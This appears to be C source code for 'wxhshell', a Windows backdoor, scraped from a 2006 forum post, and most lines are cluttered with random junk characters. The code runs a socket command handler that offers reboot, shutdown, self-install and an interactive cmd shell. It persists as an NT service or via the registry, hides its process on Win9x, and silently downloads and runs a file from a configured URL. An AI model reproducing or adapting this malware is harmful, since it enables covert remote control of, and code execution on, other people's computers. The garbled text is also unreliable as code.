    switch(cmd[0]) { >2#F5c67  
  .Q DeS|l  
  // 帮助 F?4&qbdD  
  case '?': { <a& $D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +wm%`N;v<  
    break; =gO4B-[  
  } 1*OZu.NdK  
  // 安装 A7aW]  
  case 'i': { ]J.|XRp/  
    if(Install()) !InC8+be  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rf =Wq_  
    else t0 )XdIl8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6FEIQ#`{  
    break; xDn#=%~+x  
    } LbnW(wr6:(  
  // 卸载 G g{M  
  case 'r': { )/BbASO$)Z  
    if(Uninstall()) A 7zL\U4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); evz@c)8  
    else +{s -Fg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2h`Tn{&1/  
    break; ?PU7xO;_  
    } MJy(B><  
  // 显示 wxhshell 所在路径 &>vfm9  
  case 'p': { 8]l(D  
    char svExeFile[MAX_PATH]; v=E(U4v9e  
    strcpy(svExeFile,"\n\r"); dEPLkv  
      strcat(svExeFile,ExeFile); x+W,P  
        send(wsh,svExeFile,strlen(svExeFile),0); &LHS<Nv^:  
    break; /vw$3,*z  
    } J,t`il T  
  // 重启 Lwkl*  
  case 'b': { >]ZW.?1h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f_ |=EQ  
    if(Boot(REBOOT)) 1F{,Zr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *+j r? |  
    else { c6MMI]+8  
    closesocket(wsh); WL}XD Kx  
    ExitThread(0); lZ?YyRsa6&  
    } e}TDo`q  
    break; Pk&sY'  
    } >yqFO  
  // 关机 h|OWtf4  
  case 'd': { #?7g_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .:B;%*  
    if(Boot(SHUTDOWN)) mIv}%hD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3?<LWrhV3  
    else { 'oF('uR  
    closesocket(wsh); j-7aJj%  
    ExitThread(0); h.5KzC S  
    } }[SYWJIc  
    break; Z~ u3{  
    } P}"uC`036  
  // 获取shell !twYjOryH[  
  case 's': { N;i\.oY  
    CmdShell(wsh); |P7FPmn  
    closesocket(wsh); =JN{j2xY  
    ExitThread(0); UZJ#/x5F  
    break; +3]V>Mv  
  } W'R^GIHs  
  // 退出 T (? CDc+  
  case 'x': { (9v%66y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G$;cA:p-j  
    CloseIt(wsh); _Oy;:XN  
    break; c uHF^l  
    } RhkTN'vO  
  // 离开 UD ;UdehC  
  case 'q': { +IG=|X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DC2[g9S>8@  
    closesocket(wsh); W>&!~9H  
    WSACleanup(); 5jHr?C  
    exit(1); ,iXQ"):!OB  
    break; *s|'V+1  
        } j eyGIY  
  } hp}JKj@  
  } 5TLE%#G@+  
iKG,"  
  // 提示信息 )&qr2Cm*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e//jd&G  
} )a<MW66  
  } {TaYkuWS  
C0CJ;   
  return; &!B4v<#,U  
} 5. +_'bF|  
4mnVXKt%.  
// shell模块句柄 ^;wz+u4^l  
int CmdShell(SOCKET sock) 1wBmDEhS  
{ `@8O|j  
STARTUPINFO si; GIhFOK  
ZeroMemory(&si,sizeof(si)); Cm9#FA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P<=1O WC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0KA@ ]!  
PROCESS_INFORMATION ProcessInfo; ] U,m 1  
char cmdline[]="cmd"; @?bY,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =ba1::18  
  return 0; 5-UrHbpCZ#  
} kc<5wY_t  
DC0O N`  
// 自身启动模式 ?*'0;K13  
int StartFromService(void) K?>sP%m)  
{ 9(lcQuE9  
typedef struct RV%)~S@!R  
{ <7`U1DR=  
  DWORD ExitStatus; 4<Kxo\\S  
  DWORD PebBaseAddress; M9?f`9  
  DWORD AffinityMask; F:8@ ]tA&  
  DWORD BasePriority; ;9' ] na  
  ULONG UniqueProcessId; d=dHY(ms]  
  ULONG InheritedFromUniqueProcessId; eu'~(_2  
}   PROCESS_BASIC_INFORMATION; z=Xh  
$.4N@=s,?c  
PROCNTQSIP NtQueryInformationProcess; -K/c~'%'*  
0S$TLbx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; * bUOd'vh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l[[^]__  
X6xs@tgQ  
  HANDLE             hProcess; 3Pvz57z{  
  PROCESS_BASIC_INFORMATION pbi; t+D= @"BZP  
(S2E'L L{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +'_ peT.8  
  if(NULL == hInst ) return 0; ,\N4tG1\  
MHJRBn{}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FsS.9 `B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U65oh8x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V!NRBXg  
wLNk XC  
  if (!NtQueryInformationProcess) return 0; ?} lqu7S  
\\3 ?ij:v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Vq'n$k}  
  if(!hProcess) return 0; h.kjJF  
1\nzfxx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @76I8r5l  
^fmuBe}d{  
  CloseHandle(hProcess); $i1:--~2\  
Z+=-)&L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $:&b5=i  
if(hProcess==NULL) return 0; N1"p ;czK  
M>xT\  
HMODULE hMod; @^GI :z  
char procName[255]; s\p 1EL(  
unsigned long cbNeeded; a)I>Ns)  
pJuD+v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [~c_Aa+6N  
Y^y:N$3$\  
  CloseHandle(hProcess); E&f/*V^  
PcI~,e%  
if(strstr(procName,"services")) return 1; // 以服务启动 V Ds0+RC  
Q\N >W+d  
  return 0; // 注册表启动 4*HBCzr7[  
} N 6> rU  
n3j_=(  
// 主模块 w| ahb  
int StartWxhshell(LPSTR lpCmdLine) P"o|kRO  
{ *$Zy|&[Z  
  SOCKET wsl; +O^}  t  
BOOL val=TRUE; u?F.%j-  
  int port=0; Rtlc&Q.b  
  struct sockaddr_in door; VP<LY/'f  
z[K)0@8 6  
  if(wscfg.ws_autoins) Install(); /IF?|71,m  
^m AxV7k  
port=atoi(lpCmdLine); Mi\- 9-  
YFW/ Fa\7  
if(port<=0) port=wscfg.ws_port; j8aH*K-l{  
xzOn[.Fi  
  WSADATA data; :#cJZ\YH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~+V$0Q;L  
i:jns>E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y=Z[_L!xr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &WOm[]Q4  
  door.sin_family = AF_INET; +\?+cXSc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mq(-L  
  door.sin_port = htons(port); c6AwO?x/  
&3 Ki  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <{@D^L6h  
closesocket(wsl); \U##b~Z,g  
return 1; Y#6LNI   
} _>;{+XRX[  
XVb9)a  
  if(listen(wsl,2) == INVALID_SOCKET) { L-9;"]d~|  
closesocket(wsl); +ej5C:El_}  
return 1; T Qx<lw  
} 57O|e/2  
  Wxhshell(wsl); IZ87Px>zL  
  WSACleanup(); wQ[!~>A  
y]+[o1]-c  
return 0; fRq+pUx U  
0A-yQzL|  
} #lMC#Ld  
,_s.amL3O{  
// 以NT服务方式启动 u:tcL-;U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ei"c|/pO  
{ [j0jAl  
DWORD   status = 0; Q2:r WE{K!  
  DWORD   specificError = 0xfffffff; %oquHkX%OJ  
%UhLCyC/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *{5/" H5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;=k{[g 'gv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -yb7s2o  
  serviceStatus.dwWin32ExitCode     = 0; kD7'BP/#  
  serviceStatus.dwServiceSpecificExitCode = 0; _18Z]XtX  
  serviceStatus.dwCheckPoint       = 0; QpRk5NeLe  
  serviceStatus.dwWaitHint       = 0; H9(UzyN>i  
W39J)~D^@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0C\cM92o  
  if (hServiceStatusHandle==0) return; s,AJR [  
2.]d~\  
status = GetLastError(); jbUg?4k!  
  if (status!=NO_ERROR) (ti!Y"e2  
{ }RKsS3}   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ` N R,8F  
    serviceStatus.dwCheckPoint       = 0; R(,m!  
    serviceStatus.dwWaitHint       = 0; aof'shS8  
    serviceStatus.dwWin32ExitCode     = status; b5I 8jPj4c  
    serviceStatus.dwServiceSpecificExitCode = specificError; S)W?W}*R\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ecO$L<9>  
    return; ;PnN$g]Q  
  } PgHmOs  
7=Pj}x)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j>l  
  serviceStatus.dwCheckPoint       = 0; hJ8% r_  
  serviceStatus.dwWaitHint       = 0; 2I& dTxIa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2oOos%0  
} t o8J   
T 1_B0H2  
// 处理NT服务事件,比如:启动、停止 G l2WbY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8~~ k?  
{ ,-8Xb+!8I  
switch(fdwControl) y?A*$6  
{ b\zq,0%  
case SERVICE_CONTROL_STOP: 2(Yg',aMY-  
  serviceStatus.dwWin32ExitCode = 0; r!w*y3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; % tC[q   
  serviceStatus.dwCheckPoint   = 0; 3gD <!WI  
  serviceStatus.dwWaitHint     = 0; 2X*n93AQi  
  { b?VByJl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7/_|/4&  
  } P}(c0/  
  return; a=x &sz\x  
case SERVICE_CONTROL_PAUSE: dmcY]m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L/,g D.h^  
  break; VUP. \Vry  
case SERVICE_CONTROL_CONTINUE: VS_\bIC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q?)5yukeF  
  break;  TU6YS<  
case SERVICE_CONTROL_INTERROGATE: aY;34SF  
  break; O1\25D  
}; |1/8m/2Af.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Aq7`A^1t$  
} )OucJQ  
0pl'*r*9  
// 标准应用程序主函数 @g]+$Yj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \2#K {  
{ Pn4jI(  
Z_<NUPE  
// 获取操作系统版本 +2}Ar<elP  
OsIsNt=GetOsVer(); R>1oF]w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `ZO5-E  
i,% N#  
  // 从命令行安装 Pgq(yPC  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2 e#"JZ=  
l0qHoM,1Y[  
  // 下载执行文件 g>eWX*Pa|  
if(wscfg.ws_downexe) { i_+e&Bjd4j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vRD(* S9^  
  WinExec(wscfg.ws_filenam,SW_HIDE); VS>hi~j  
} o1b.a*SZ  
4>fj @X(3  
if(!OsIsNt) { g>'6"p;  
// 如果时win9x,隐藏进程并且设置为注册表启动 H 8 6 6,]  
HideProc(); e=IbEm{|  
StartWxhshell(lpCmdLine); &B=z*m  
} 'J!Gip ,  
else yB=R7E7  
  if(StartFromService()) 2 n2,MB  
  // 以服务方式启动 'MB+cz+v  
  StartServiceCtrlDispatcher(DispatchTable); N~or.i&a  
else B# .xs>{N  
  // 普通方式启动 .x/H2r'1  
  StartWxhshell(lpCmdLine); LWSy"Cs*  
3m2y<l<  
return 0; dl |$pm@x  
}
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只看该作者 1 发表于: 2006-10-10
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